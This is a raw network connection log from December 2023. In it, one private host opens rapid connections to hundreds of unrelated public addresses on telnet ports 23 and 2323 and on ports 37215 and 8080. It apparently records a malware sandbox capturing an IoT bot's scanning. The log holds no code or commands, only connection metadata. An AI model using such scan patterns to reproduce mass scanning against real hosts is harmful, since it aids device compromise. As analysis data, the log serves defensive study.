Dec 26, 2023 21:22:45.105333090 CET	36253	23	192.168.2.23	199.234.110.187
Dec 26, 2023 21:22:45.105335951 CET	36253	2323	192.168.2.23	122.37.255.16
Dec 26, 2023 21:22:45.105339050 CET	36253	23	192.168.2.23	41.171.169.171
Dec 26, 2023 21:22:45.105339050 CET	36253	23	192.168.2.23	210.109.205.84
Dec 26, 2023 21:22:45.105340004 CET	36253	23	192.168.2.23	118.140.37.235
Dec 26, 2023 21:22:45.105353117 CET	36253	23	192.168.2.23	138.92.254.117
Dec 26, 2023 21:22:45.105354071 CET	36253	23	192.168.2.23	143.68.154.204
Dec 26, 2023 21:22:45.105354071 CET	36253	23	192.168.2.23	114.226.157.69
Dec 26, 2023 21:22:45.105355978 CET	36253	23	192.168.2.23	34.57.126.145
Dec 26, 2023 21:22:45.105356932 CET	36253	23	192.168.2.23	8.90.144.10
Dec 26, 2023 21:22:45.105356932 CET	36253	2323	192.168.2.23	184.90.53.94
Dec 26, 2023 21:22:45.105359077 CET	36253	23	192.168.2.23	207.70.162.91
Dec 26, 2023 21:22:45.105359077 CET	36253	2323	192.168.2.23	181.1.207.128
Dec 26, 2023 21:22:45.105360031 CET	36253	23	192.168.2.23	119.227.196.252
Dec 26, 2023 21:22:45.105360031 CET	36253	23	192.168.2.23	204.56.24.169
Dec 26, 2023 21:22:45.105360031 CET	36253	23	192.168.2.23	98.200.156.240
Dec 26, 2023 21:22:45.105360031 CET	36253	23	192.168.2.23	38.39.236.179
Dec 26, 2023 21:22:45.105360031 CET	36253	23	192.168.2.23	27.153.147.236
Dec 26, 2023 21:22:45.105360031 CET	36253	23	192.168.2.23	117.152.228.255
Dec 26, 2023 21:22:45.105360985 CET	36253	23	192.168.2.23	170.187.74.171
Dec 26, 2023 21:22:45.105366945 CET	36253	23	192.168.2.23	111.205.115.134
Dec 26, 2023 21:22:45.105366945 CET	36253	23	192.168.2.23	221.21.123.246
Dec 26, 2023 21:22:45.105366945 CET	36253	23	192.168.2.23	101.11.108.71
Dec 26, 2023 21:22:45.105367899 CET	36253	23	192.168.2.23	122.162.54.68
Dec 26, 2023 21:22:45.105367899 CET	36253	23	192.168.2.23	100.131.113.233
Dec 26, 2023 21:22:45.105385065 CET	36253	23	192.168.2.23	176.139.225.81
Dec 26, 2023 21:22:45.105385065 CET	36253	23	192.168.2.23	172.107.251.8
Dec 26, 2023 21:22:45.105386019 CET	36253	23	192.168.2.23	96.2.144.201
Dec 26, 2023 21:22:45.105386972 CET	36253	23	192.168.2.23	98.222.11.141
Dec 26, 2023 21:22:45.105386972 CET	36253	23	192.168.2.23	34.235.213.34
Dec 26, 2023 21:22:45.105386972 CET	36253	23	192.168.2.23	207.20.209.246
Dec 26, 2023 21:22:45.105395079 CET	36253	23	192.168.2.23	168.114.90.142
Dec 26, 2023 21:22:45.105395079 CET	36253	2323	192.168.2.23	222.135.152.21
Dec 26, 2023 21:22:45.105395079 CET	36253	23	192.168.2.23	41.40.4.215
Dec 26, 2023 21:22:45.105395079 CET	36253	23	192.168.2.23	41.109.9.169
Dec 26, 2023 21:22:45.105398893 CET	36253	23	192.168.2.23	220.50.55.99
Dec 26, 2023 21:22:45.105398893 CET	36253	2323	192.168.2.23	200.103.95.106
Dec 26, 2023 21:22:45.105398893 CET	36253	23	192.168.2.23	37.43.98.242
Dec 26, 2023 21:22:45.105406046 CET	36253	23	192.168.2.23	82.85.46.251
Dec 26, 2023 21:22:45.105407000 CET	36253	2323	192.168.2.23	126.181.235.220
Dec 26, 2023 21:22:45.105417967 CET	36253	23	192.168.2.23	128.47.84.179
Dec 26, 2023 21:22:45.105417967 CET	36253	23	192.168.2.23	204.236.146.69
Dec 26, 2023 21:22:45.105444908 CET	36253	23	192.168.2.23	189.11.148.130
Dec 26, 2023 21:22:45.105444908 CET	36253	23	192.168.2.23	71.223.192.147
Dec 26, 2023 21:22:45.105444908 CET	36253	2323	192.168.2.23	186.95.98.241
Dec 26, 2023 21:22:45.105446100 CET	36253	23	192.168.2.23	88.75.100.75
Dec 26, 2023 21:22:45.105451107 CET	36253	23	192.168.2.23	8.89.50.69
Dec 26, 2023 21:22:45.105451107 CET	36253	23	192.168.2.23	9.117.143.238
Dec 26, 2023 21:22:45.105451107 CET	36253	23	192.168.2.23	109.22.60.59
Dec 26, 2023 21:22:45.105453014 CET	36253	23	192.168.2.23	52.63.170.99
Dec 26, 2023 21:22:45.105451107 CET	36253	23	192.168.2.23	4.186.93.16
Dec 26, 2023 21:22:45.105451107 CET	36253	23	192.168.2.23	86.163.237.144
Dec 26, 2023 21:22:45.105454922 CET	36253	23	192.168.2.23	32.104.35.204
Dec 26, 2023 21:22:45.105451107 CET	36253	23	192.168.2.23	82.167.78.26
Dec 26, 2023 21:22:45.105454922 CET	36253	23	192.168.2.23	46.171.246.244
Dec 26, 2023 21:22:45.105451107 CET	36253	23	192.168.2.23	150.231.137.49
Dec 26, 2023 21:22:45.105454922 CET	36253	23	192.168.2.23	172.112.249.132
Dec 26, 2023 21:22:45.105451107 CET	36253	23	192.168.2.23	39.75.175.170
Dec 26, 2023 21:22:45.105454922 CET	36253	23	192.168.2.23	148.49.206.184
Dec 26, 2023 21:22:45.105451107 CET	36253	23	192.168.2.23	164.81.111.123
Dec 26, 2023 21:22:45.105454922 CET	36253	23	192.168.2.23	18.56.211.244
Dec 26, 2023 21:22:45.105454922 CET	36253	23	192.168.2.23	183.221.176.155
Dec 26, 2023 21:22:45.105451107 CET	36253	2323	192.168.2.23	186.243.26.130
Dec 26, 2023 21:22:45.105454922 CET	36253	23	192.168.2.23	160.5.252.107
Dec 26, 2023 21:22:45.105463982 CET	36253	23	192.168.2.23	36.120.164.40
Dec 26, 2023 21:22:45.105454922 CET	36253	23	192.168.2.23	164.162.199.135
Dec 26, 2023 21:22:45.105463982 CET	36253	23	192.168.2.23	47.182.136.25
Dec 26, 2023 21:22:45.105467081 CET	36253	23	192.168.2.23	9.244.49.217
Dec 26, 2023 21:22:45.105468035 CET	36253	23	192.168.2.23	71.68.75.81
Dec 26, 2023 21:22:45.105469942 CET	36253	23	192.168.2.23	169.216.156.154
Dec 26, 2023 21:22:45.105479956 CET	36253	2323	192.168.2.23	163.197.206.215
Dec 26, 2023 21:22:45.105479956 CET	36253	23	192.168.2.23	111.29.77.145
Dec 26, 2023 21:22:45.105479956 CET	36253	23	192.168.2.23	107.251.16.123
Dec 26, 2023 21:22:45.105488062 CET	36253	23	192.168.2.23	129.142.207.55
Dec 26, 2023 21:22:45.105488062 CET	36253	23	192.168.2.23	88.142.85.178
Dec 26, 2023 21:22:45.105488062 CET	36253	23	192.168.2.23	24.96.55.4
Dec 26, 2023 21:22:45.105488062 CET	36253	23	192.168.2.23	64.155.44.252
Dec 26, 2023 21:22:45.105489016 CET	36253	2323	192.168.2.23	150.104.86.106
Dec 26, 2023 21:22:45.105495930 CET	36253	23	192.168.2.23	103.112.178.251
Dec 26, 2023 21:22:45.105495930 CET	36253	23	192.168.2.23	135.206.221.27
Dec 26, 2023 21:22:45.105496883 CET	36253	23	192.168.2.23	116.54.189.221
Dec 26, 2023 21:22:45.105495930 CET	36253	23	192.168.2.23	104.13.253.184
Dec 26, 2023 21:22:45.105496883 CET	36253	23	192.168.2.23	155.3.87.9
Dec 26, 2023 21:22:45.105495930 CET	36253	23	192.168.2.23	89.71.231.20
Dec 26, 2023 21:22:45.105496883 CET	36253	23	192.168.2.23	79.202.50.105
Dec 26, 2023 21:22:45.105504990 CET	36253	23	192.168.2.23	94.196.205.5
Dec 26, 2023 21:22:45.105504990 CET	36253	23	192.168.2.23	157.238.32.64
Dec 26, 2023 21:22:45.105509043 CET	36253	23	192.168.2.23	147.154.121.174
Dec 26, 2023 21:22:45.105509043 CET	36253	23	192.168.2.23	68.139.25.163
Dec 26, 2023 21:22:45.105509043 CET	36253	23	192.168.2.23	104.40.226.12
Dec 26, 2023 21:22:45.105509043 CET	36253	23	192.168.2.23	111.135.190.39
Dec 26, 2023 21:22:45.105509043 CET	36253	23	192.168.2.23	63.130.63.75
Dec 26, 2023 21:22:45.105514050 CET	36253	23	192.168.2.23	60.234.108.94
Dec 26, 2023 21:22:45.105520964 CET	36253	23	192.168.2.23	77.215.201.25
Dec 26, 2023 21:22:45.105520964 CET	36253	23	192.168.2.23	104.186.101.232
Dec 26, 2023 21:22:45.105520964 CET	36253	23	192.168.2.23	195.18.235.237
Dec 26, 2023 21:22:45.105520964 CET	36253	23	192.168.2.23	201.89.90.106
Dec 26, 2023 21:22:45.105520964 CET	36253	2323	192.168.2.23	50.229.70.126
Dec 26, 2023 21:22:45.105526924 CET	36253	23	192.168.2.23	102.221.173.252
Dec 26, 2023 21:22:45.105526924 CET	36253	23	192.168.2.23	76.31.206.130
Dec 26, 2023 21:22:45.105532885 CET	36253	2323	192.168.2.23	133.192.204.4
Dec 26, 2023 21:22:45.105532885 CET	36253	23	192.168.2.23	145.119.5.78
Dec 26, 2023 21:22:45.105540991 CET	36253	23	192.168.2.23	223.58.153.1
Dec 26, 2023 21:22:45.105554104 CET	36253	23	192.168.2.23	202.58.72.129
Dec 26, 2023 21:22:45.105554104 CET	36253	23	192.168.2.23	187.124.77.78
Dec 26, 2023 21:22:45.105554104 CET	36253	23	192.168.2.23	41.219.91.185
Dec 26, 2023 21:22:45.105554104 CET	36253	23	192.168.2.23	219.112.200.104
Dec 26, 2023 21:22:45.105566025 CET	36253	2323	192.168.2.23	103.29.230.242
Dec 26, 2023 21:22:45.105566025 CET	36253	23	192.168.2.23	171.111.154.25
Dec 26, 2023 21:22:45.105566978 CET	36253	23	192.168.2.23	53.175.213.16
Dec 26, 2023 21:22:45.105566978 CET	36253	23	192.168.2.23	156.163.148.110
Dec 26, 2023 21:22:45.105566978 CET	36253	23	192.168.2.23	87.40.54.204
Dec 26, 2023 21:22:45.105566978 CET	36253	23	192.168.2.23	141.255.183.177
Dec 26, 2023 21:22:45.105566978 CET	36253	23	192.168.2.23	223.6.33.25
Dec 26, 2023 21:22:45.105566978 CET	36253	23	192.168.2.23	92.24.203.241
Dec 26, 2023 21:22:45.105566978 CET	36253	2323	192.168.2.23	201.176.231.135
Dec 26, 2023 21:22:45.105568886 CET	36253	23	192.168.2.23	207.207.173.54
Dec 26, 2023 21:22:45.105568886 CET	36253	23	192.168.2.23	165.63.159.117
Dec 26, 2023 21:22:45.105568886 CET	36253	23	192.168.2.23	212.173.150.34
Dec 26, 2023 21:22:45.105577946 CET	36253	23	192.168.2.23	32.76.255.14
Dec 26, 2023 21:22:45.105577946 CET	36253	23	192.168.2.23	92.171.86.84
Dec 26, 2023 21:22:45.105577946 CET	36253	23	192.168.2.23	9.211.133.153
Dec 26, 2023 21:22:45.105577946 CET	36253	23	192.168.2.23	108.163.63.204
Dec 26, 2023 21:22:45.105581045 CET	36253	23	192.168.2.23	76.119.169.36
Dec 26, 2023 21:22:45.105581045 CET	36253	23	192.168.2.23	217.47.231.66
Dec 26, 2023 21:22:45.105581045 CET	36253	23	192.168.2.23	48.108.201.32
Dec 26, 2023 21:22:45.105581999 CET	36253	23	192.168.2.23	65.241.151.204
Dec 26, 2023 21:22:45.105595112 CET	36253	23	192.168.2.23	103.121.233.173
Dec 26, 2023 21:22:45.105597973 CET	36253	23	192.168.2.23	213.194.164.30
Dec 26, 2023 21:22:45.105600119 CET	36253	23	192.168.2.23	19.213.218.201
Dec 26, 2023 21:22:45.105600119 CET	36253	23	192.168.2.23	59.211.107.31
Dec 26, 2023 21:22:45.105601072 CET	36253	23	192.168.2.23	27.208.255.70
Dec 26, 2023 21:22:45.105601072 CET	36253	23	192.168.2.23	48.87.105.191
Dec 26, 2023 21:22:45.105614901 CET	36253	23	192.168.2.23	107.223.242.179
Dec 26, 2023 21:22:45.105614901 CET	36253	23	192.168.2.23	102.159.105.236
Dec 26, 2023 21:22:45.105614901 CET	36253	23	192.168.2.23	123.183.239.76
Dec 26, 2023 21:22:45.105619907 CET	36253	23	192.168.2.23	219.187.75.96
Dec 26, 2023 21:22:45.105619907 CET	36253	2323	192.168.2.23	120.205.75.167
Dec 26, 2023 21:22:45.105619907 CET	36253	23	192.168.2.23	201.67.199.100
Dec 26, 2023 21:22:45.105619907 CET	36253	23	192.168.2.23	196.92.20.171
Dec 26, 2023 21:22:45.105619907 CET	36253	23	192.168.2.23	163.125.79.205
Dec 26, 2023 21:22:45.105619907 CET	36253	23	192.168.2.23	192.130.36.0
Dec 26, 2023 21:22:45.105623960 CET	36253	23	192.168.2.23	111.129.111.131
Dec 26, 2023 21:22:45.105619907 CET	36253	23	192.168.2.23	123.218.180.83
Dec 26, 2023 21:22:45.105623960 CET	36253	2323	192.168.2.23	24.82.183.118
Dec 26, 2023 21:22:45.105633020 CET	36253	23	192.168.2.23	187.150.57.219
Dec 26, 2023 21:22:45.105633020 CET	36253	23	192.168.2.23	60.124.248.121
Dec 26, 2023 21:22:45.105633020 CET	36253	2323	192.168.2.23	190.226.120.106
Dec 26, 2023 21:22:45.105633020 CET	36253	23	192.168.2.23	149.130.27.254
Dec 26, 2023 21:22:45.105633020 CET	36253	23	192.168.2.23	70.106.191.21
Dec 26, 2023 21:22:45.105633020 CET	36253	23	192.168.2.23	131.15.174.250
Dec 26, 2023 21:22:45.105638981 CET	36253	23	192.168.2.23	46.230.100.102
Dec 26, 2023 21:22:45.105633020 CET	36253	23	192.168.2.23	99.74.162.128
Dec 26, 2023 21:22:45.105638981 CET	36253	23	192.168.2.23	111.17.185.69
Dec 26, 2023 21:22:45.105633020 CET	36253	23	192.168.2.23	8.124.173.148
Dec 26, 2023 21:22:45.105638981 CET	36253	23	192.168.2.23	124.52.141.168
Dec 26, 2023 21:22:45.105633020 CET	36253	23	192.168.2.23	198.253.34.70
Dec 26, 2023 21:22:45.105633020 CET	36253	23	192.168.2.23	132.245.189.230
Dec 26, 2023 21:22:45.105633020 CET	36253	23	192.168.2.23	101.93.132.95
Dec 26, 2023 21:22:45.107697964 CET	45981	37215	192.168.2.23	197.16.20.139
Dec 26, 2023 21:22:45.107698917 CET	45981	37215	192.168.2.23	197.133.143.85
Dec 26, 2023 21:22:45.107705116 CET	45981	37215	192.168.2.23	197.247.160.247
Dec 26, 2023 21:22:45.107712030 CET	45981	37215	192.168.2.23	197.14.140.216
Dec 26, 2023 21:22:45.107724905 CET	45981	37215	192.168.2.23	197.104.208.142
Dec 26, 2023 21:22:45.107727051 CET	45981	37215	192.168.2.23	197.34.43.88
Dec 26, 2023 21:22:45.107727051 CET	45981	37215	192.168.2.23	197.146.245.193
Dec 26, 2023 21:22:45.107747078 CET	45981	37215	192.168.2.23	197.173.55.249
Dec 26, 2023 21:22:45.107748032 CET	45981	37215	192.168.2.23	197.177.228.214
Dec 26, 2023 21:22:45.107752085 CET	45981	37215	192.168.2.23	197.11.108.134
Dec 26, 2023 21:22:45.107757092 CET	45981	37215	192.168.2.23	197.86.36.9
Dec 26, 2023 21:22:45.107760906 CET	45981	37215	192.168.2.23	197.183.203.144
Dec 26, 2023 21:22:45.107772112 CET	45981	37215	192.168.2.23	197.64.35.171
Dec 26, 2023 21:22:45.107779026 CET	45981	37215	192.168.2.23	197.119.253.28
Dec 26, 2023 21:22:45.107789040 CET	45981	37215	192.168.2.23	197.234.251.163
Dec 26, 2023 21:22:45.107800007 CET	45981	37215	192.168.2.23	197.135.202.128
Dec 26, 2023 21:22:45.107800007 CET	45981	37215	192.168.2.23	197.18.242.175
Dec 26, 2023 21:22:45.107804060 CET	45981	37215	192.168.2.23	197.132.66.227
Dec 26, 2023 21:22:45.107812881 CET	45981	37215	192.168.2.23	197.138.15.20
Dec 26, 2023 21:22:45.107812881 CET	45981	37215	192.168.2.23	197.47.21.194
Dec 26, 2023 21:22:45.107825994 CET	45981	37215	192.168.2.23	197.85.247.56
Dec 26, 2023 21:22:45.107831001 CET	45981	37215	192.168.2.23	197.171.187.76
Dec 26, 2023 21:22:45.107842922 CET	45981	37215	192.168.2.23	197.93.56.100
Dec 26, 2023 21:22:45.107844114 CET	45981	37215	192.168.2.23	197.21.153.14
Dec 26, 2023 21:22:45.107856989 CET	45981	37215	192.168.2.23	197.76.91.26
Dec 26, 2023 21:22:45.107858896 CET	45981	37215	192.168.2.23	197.41.136.84
Dec 26, 2023 21:22:45.107867002 CET	45981	37215	192.168.2.23	197.251.58.116
Dec 26, 2023 21:22:45.107878923 CET	45981	37215	192.168.2.23	197.115.0.45
Dec 26, 2023 21:22:45.107892036 CET	45981	37215	192.168.2.23	197.231.3.131
Dec 26, 2023 21:22:45.107894897 CET	45981	37215	192.168.2.23	197.163.189.98
Dec 26, 2023 21:22:45.107908964 CET	45981	37215	192.168.2.23	197.99.176.168
Dec 26, 2023 21:22:45.107913971 CET	45981	37215	192.168.2.23	197.185.138.15
Dec 26, 2023 21:22:45.107917070 CET	45981	37215	192.168.2.23	197.187.7.41
Dec 26, 2023 21:22:45.107922077 CET	45981	37215	192.168.2.23	197.196.1.41
Dec 26, 2023 21:22:45.107930899 CET	45981	37215	192.168.2.23	197.93.80.90
Dec 26, 2023 21:22:45.107940912 CET	45981	37215	192.168.2.23	197.181.166.79
Dec 26, 2023 21:22:45.107950926 CET	45981	37215	192.168.2.23	197.6.197.215
Dec 26, 2023 21:22:45.107965946 CET	45981	37215	192.168.2.23	197.20.45.133
Dec 26, 2023 21:22:45.107965946 CET	45981	37215	192.168.2.23	197.112.13.99
Dec 26, 2023 21:22:45.107971907 CET	45981	37215	192.168.2.23	197.45.215.248
Dec 26, 2023 21:22:45.107979059 CET	45981	37215	192.168.2.23	197.215.143.133
Dec 26, 2023 21:22:45.107990980 CET	45981	37215	192.168.2.23	197.249.155.97
Dec 26, 2023 21:22:45.107999086 CET	45981	37215	192.168.2.23	197.122.95.89
Dec 26, 2023 21:22:45.108005047 CET	45981	37215	192.168.2.23	197.182.229.240
Dec 26, 2023 21:22:45.108007908 CET	45981	37215	192.168.2.23	197.9.81.96
Dec 26, 2023 21:22:45.108009100 CET	45981	37215	192.168.2.23	197.129.54.173
Dec 26, 2023 21:22:45.108027935 CET	45981	37215	192.168.2.23	197.215.35.216
Dec 26, 2023 21:22:45.108031988 CET	45981	37215	192.168.2.23	197.128.189.58
Dec 26, 2023 21:22:45.108038902 CET	45981	37215	192.168.2.23	197.186.12.108
Dec 26, 2023 21:22:45.108041048 CET	45981	37215	192.168.2.23	197.67.216.126
Dec 26, 2023 21:22:45.108059883 CET	45981	37215	192.168.2.23	197.70.37.115
Dec 26, 2023 21:22:45.108062029 CET	45981	37215	192.168.2.23	197.255.5.244
Dec 26, 2023 21:22:45.108072996 CET	45981	37215	192.168.2.23	197.227.43.225
Dec 26, 2023 21:22:45.108082056 CET	45981	37215	192.168.2.23	197.137.178.155
Dec 26, 2023 21:22:45.108083010 CET	45981	37215	192.168.2.23	197.47.135.187
Dec 26, 2023 21:22:45.108098984 CET	45981	37215	192.168.2.23	197.169.132.208
Dec 26, 2023 21:22:45.108103037 CET	45981	37215	192.168.2.23	197.14.113.81
Dec 26, 2023 21:22:45.108119011 CET	45981	37215	192.168.2.23	197.240.43.20
Dec 26, 2023 21:22:45.108128071 CET	45981	37215	192.168.2.23	197.144.183.158
Dec 26, 2023 21:22:45.108129025 CET	45981	37215	192.168.2.23	197.255.92.12
Dec 26, 2023 21:22:45.108129025 CET	45981	37215	192.168.2.23	197.54.27.175
Dec 26, 2023 21:22:45.108136892 CET	45981	37215	192.168.2.23	197.127.37.219
Dec 26, 2023 21:22:45.108146906 CET	45981	37215	192.168.2.23	197.182.82.235
Dec 26, 2023 21:22:45.108146906 CET	45981	37215	192.168.2.23	197.107.141.165
Dec 26, 2023 21:22:45.108148098 CET	45981	37215	192.168.2.23	197.238.17.125
Dec 26, 2023 21:22:45.108165979 CET	45981	37215	192.168.2.23	197.49.136.115
Dec 26, 2023 21:22:45.108165979 CET	45981	37215	192.168.2.23	197.137.152.148
Dec 26, 2023 21:22:45.108172894 CET	45981	37215	192.168.2.23	197.248.148.102
Dec 26, 2023 21:22:45.108180046 CET	45981	37215	192.168.2.23	197.255.18.66
Dec 26, 2023 21:22:45.108186960 CET	45981	37215	192.168.2.23	197.153.122.25
Dec 26, 2023 21:22:45.108201027 CET	45981	37215	192.168.2.23	197.214.18.167
Dec 26, 2023 21:22:45.108205080 CET	45981	37215	192.168.2.23	197.96.84.220
Dec 26, 2023 21:22:45.108217955 CET	45981	37215	192.168.2.23	197.10.114.173
Dec 26, 2023 21:22:45.108223915 CET	45981	37215	192.168.2.23	197.104.64.66
Dec 26, 2023 21:22:45.108227968 CET	45981	37215	192.168.2.23	197.164.232.97
Dec 26, 2023 21:22:45.108237982 CET	45981	37215	192.168.2.23	197.210.53.213
Dec 26, 2023 21:22:45.108243942 CET	45981	37215	192.168.2.23	197.64.178.31
Dec 26, 2023 21:22:45.108246088 CET	45981	37215	192.168.2.23	197.11.193.150
Dec 26, 2023 21:22:45.108253956 CET	45981	37215	192.168.2.23	197.237.209.47
Dec 26, 2023 21:22:45.108261108 CET	45981	37215	192.168.2.23	197.112.38.4
Dec 26, 2023 21:22:45.108273983 CET	45981	37215	192.168.2.23	197.25.7.173
Dec 26, 2023 21:22:45.108282089 CET	45981	37215	192.168.2.23	197.241.232.1
Dec 26, 2023 21:22:45.108283997 CET	45981	37215	192.168.2.23	197.125.241.110
Dec 26, 2023 21:22:45.108302116 CET	45981	37215	192.168.2.23	197.197.113.108
Dec 26, 2023 21:22:45.108302116 CET	45981	37215	192.168.2.23	197.104.112.16
Dec 26, 2023 21:22:45.108308077 CET	45981	37215	192.168.2.23	197.153.234.201
Dec 26, 2023 21:22:45.108309984 CET	45981	37215	192.168.2.23	197.241.195.115
Dec 26, 2023 21:22:45.108323097 CET	45981	37215	192.168.2.23	197.95.91.86
Dec 26, 2023 21:22:45.108335018 CET	45981	37215	192.168.2.23	197.241.196.173
Dec 26, 2023 21:22:45.108335018 CET	45981	37215	192.168.2.23	197.63.115.230
Dec 26, 2023 21:22:45.108345985 CET	45981	37215	192.168.2.23	197.0.223.100
Dec 26, 2023 21:22:45.108361006 CET	45981	37215	192.168.2.23	197.133.74.51
Dec 26, 2023 21:22:45.108366966 CET	45981	37215	192.168.2.23	197.172.3.216
Dec 26, 2023 21:22:45.108366966 CET	45981	37215	192.168.2.23	197.206.199.234
Dec 26, 2023 21:22:45.108377934 CET	45981	37215	192.168.2.23	197.110.174.77
Dec 26, 2023 21:22:45.108391047 CET	45981	37215	192.168.2.23	197.59.233.131
Dec 26, 2023 21:22:45.108392000 CET	45981	37215	192.168.2.23	197.205.245.40
Dec 26, 2023 21:22:45.108400106 CET	45981	37215	192.168.2.23	197.183.192.236
Dec 26, 2023 21:22:45.108428001 CET	45981	37215	192.168.2.23	197.217.226.223
Dec 26, 2023 21:22:45.108433008 CET	45981	37215	192.168.2.23	197.67.239.141
Dec 26, 2023 21:22:45.108445883 CET	45981	37215	192.168.2.23	197.199.81.3
Dec 26, 2023 21:22:45.108452082 CET	45981	37215	192.168.2.23	197.180.215.29
Dec 26, 2023 21:22:45.108460903 CET	45981	37215	192.168.2.23	197.216.160.226
Dec 26, 2023 21:22:45.108478069 CET	45981	37215	192.168.2.23	197.74.117.61
Dec 26, 2023 21:22:45.108491898 CET	45981	37215	192.168.2.23	197.63.161.46
Dec 26, 2023 21:22:45.108494043 CET	45981	37215	192.168.2.23	197.37.59.247
Dec 26, 2023 21:22:45.108496904 CET	45981	37215	192.168.2.23	197.39.203.200
Dec 26, 2023 21:22:45.108500957 CET	45981	37215	192.168.2.23	197.182.250.143
Dec 26, 2023 21:22:45.108505964 CET	45981	37215	192.168.2.23	197.124.136.50
Dec 26, 2023 21:22:45.108517885 CET	45981	37215	192.168.2.23	197.253.146.133
Dec 26, 2023 21:22:45.108521938 CET	45981	37215	192.168.2.23	197.52.105.102
Dec 26, 2023 21:22:45.108540058 CET	45981	37215	192.168.2.23	197.239.74.4
Dec 26, 2023 21:22:45.108541965 CET	45981	37215	192.168.2.23	197.53.199.90
Dec 26, 2023 21:22:45.108555079 CET	45981	37215	192.168.2.23	197.215.143.17
Dec 26, 2023 21:22:45.108555079 CET	45981	37215	192.168.2.23	197.171.68.174
Dec 26, 2023 21:22:45.108561993 CET	45981	37215	192.168.2.23	197.21.246.211
Dec 26, 2023 21:22:45.108561993 CET	45981	37215	192.168.2.23	197.143.202.40
Dec 26, 2023 21:22:45.108575106 CET	45981	37215	192.168.2.23	197.143.64.156
Dec 26, 2023 21:22:45.108580112 CET	45981	37215	192.168.2.23	197.155.191.157
Dec 26, 2023 21:22:45.108580112 CET	45981	37215	192.168.2.23	197.161.44.50
Dec 26, 2023 21:22:45.108596087 CET	45981	37215	192.168.2.23	197.84.98.45
Dec 26, 2023 21:22:45.108598948 CET	45981	37215	192.168.2.23	197.165.9.188
Dec 26, 2023 21:22:45.108616114 CET	45981	37215	192.168.2.23	197.79.103.229
Dec 26, 2023 21:22:45.108616114 CET	45981	37215	192.168.2.23	197.106.49.203
Dec 26, 2023 21:22:45.108616114 CET	45981	37215	192.168.2.23	197.4.15.52
Dec 26, 2023 21:22:45.108620882 CET	45981	37215	192.168.2.23	197.59.226.191
Dec 26, 2023 21:22:45.108616114 CET	45981	37215	192.168.2.23	197.104.69.5
Dec 26, 2023 21:22:45.108616114 CET	45981	37215	192.168.2.23	197.33.236.159
Dec 26, 2023 21:22:45.108616114 CET	45981	37215	192.168.2.23	197.99.63.229
Dec 26, 2023 21:22:45.108617067 CET	45981	37215	192.168.2.23	197.245.165.227
Dec 26, 2023 21:22:45.108617067 CET	45981	37215	192.168.2.23	197.245.30.158
Dec 26, 2023 21:22:45.108632088 CET	45981	37215	192.168.2.23	197.216.245.214
Dec 26, 2023 21:22:45.108617067 CET	45981	37215	192.168.2.23	197.238.251.68
Dec 26, 2023 21:22:45.108632088 CET	45981	37215	192.168.2.23	197.207.254.77
Dec 26, 2023 21:22:45.108643055 CET	45981	37215	192.168.2.23	197.218.216.67
Dec 26, 2023 21:22:45.108661890 CET	45981	37215	192.168.2.23	197.114.154.45
Dec 26, 2023 21:22:45.108661890 CET	45981	37215	192.168.2.23	197.143.129.102
Dec 26, 2023 21:22:45.108668089 CET	45981	37215	192.168.2.23	197.186.166.15
Dec 26, 2023 21:22:45.108679056 CET	45981	37215	192.168.2.23	197.58.217.88
Dec 26, 2023 21:22:45.108685970 CET	45981	37215	192.168.2.23	197.113.2.34
Dec 26, 2023 21:22:45.108686924 CET	45981	37215	192.168.2.23	197.39.230.220
Dec 26, 2023 21:22:45.108700991 CET	45981	37215	192.168.2.23	197.8.228.37
Dec 26, 2023 21:22:45.108711958 CET	45981	37215	192.168.2.23	197.180.9.13
Dec 26, 2023 21:22:45.108724117 CET	45981	37215	192.168.2.23	197.32.108.35
Dec 26, 2023 21:22:45.108740091 CET	45981	37215	192.168.2.23	197.152.186.26
Dec 26, 2023 21:22:45.108741999 CET	45981	37215	192.168.2.23	197.174.237.32
Dec 26, 2023 21:22:45.108752012 CET	45981	37215	192.168.2.23	197.86.56.58
Dec 26, 2023 21:22:45.108755112 CET	45981	37215	192.168.2.23	197.178.28.119
Dec 26, 2023 21:22:45.108767033 CET	45981	37215	192.168.2.23	197.18.24.88
Dec 26, 2023 21:22:45.108767033 CET	45981	37215	192.168.2.23	197.82.108.16
Dec 26, 2023 21:22:45.108781099 CET	45981	37215	192.168.2.23	197.196.174.108
Dec 26, 2023 21:22:45.108788013 CET	45981	37215	192.168.2.23	197.212.100.228
Dec 26, 2023 21:22:45.108791113 CET	45981	37215	192.168.2.23	197.130.232.155
Dec 26, 2023 21:22:45.108791113 CET	45981	37215	192.168.2.23	197.52.209.211
Dec 26, 2023 21:22:45.108791113 CET	45981	37215	192.168.2.23	197.67.58.83
Dec 26, 2023 21:22:45.108791113 CET	45981	37215	192.168.2.23	197.72.204.252
Dec 26, 2023 21:22:45.108798027 CET	45981	37215	192.168.2.23	197.254.17.199
Dec 26, 2023 21:22:45.108799934 CET	45981	37215	192.168.2.23	197.88.21.111
Dec 26, 2023 21:22:45.108800888 CET	45981	37215	192.168.2.23	197.171.116.122
Dec 26, 2023 21:22:45.108812094 CET	45981	37215	192.168.2.23	197.104.143.155
Dec 26, 2023 21:22:45.123449087 CET	45469	8080	192.168.2.23	62.244.232.175
Dec 26, 2023 21:22:45.123460054 CET	45469	8080	192.168.2.23	94.203.250.211
Dec 26, 2023 21:22:45.123465061 CET	45469	8080	192.168.2.23	94.150.210.186
Dec 26, 2023 21:22:45.123466969 CET	45469	8080	192.168.2.23	31.113.28.245
Dec 26, 2023 21:22:45.123466969 CET	45469	8080	192.168.2.23	94.156.117.159
Dec 26, 2023 21:22:45.123481989 CET	45469	8080	192.168.2.23	95.173.181.173
Dec 26, 2023 21:22:45.123486042 CET	45469	8080	192.168.2.23	62.96.234.181
Dec 26, 2023 21:22:45.123486042 CET	45469	8080	192.168.2.23	62.120.182.134
Dec 26, 2023 21:22:45.123497009 CET	45469	8080	192.168.2.23	85.255.225.71
Dec 26, 2023 21:22:45.123500109 CET	45469	8080	192.168.2.23	62.71.20.177
Dec 26, 2023 21:22:45.123503923 CET	45469	8080	192.168.2.23	85.217.40.60
Dec 26, 2023 21:22:45.123518944 CET	45469	8080	192.168.2.23	85.207.177.58
Dec 26, 2023 21:22:45.123524904 CET	45469	8080	192.168.2.23	95.172.36.243
Dec 26, 2023 21:22:45.123527050 CET	45469	8080	192.168.2.23	62.37.64.11
Dec 26, 2023 21:22:45.123534918 CET	45469	8080	192.168.2.23	31.187.118.180
Dec 26, 2023 21:22:45.123545885 CET	45469	8080	192.168.2.23	31.0.222.252
Dec 26, 2023 21:22:45.123549938 CET	45469	8080	192.168.2.23	94.255.106.155
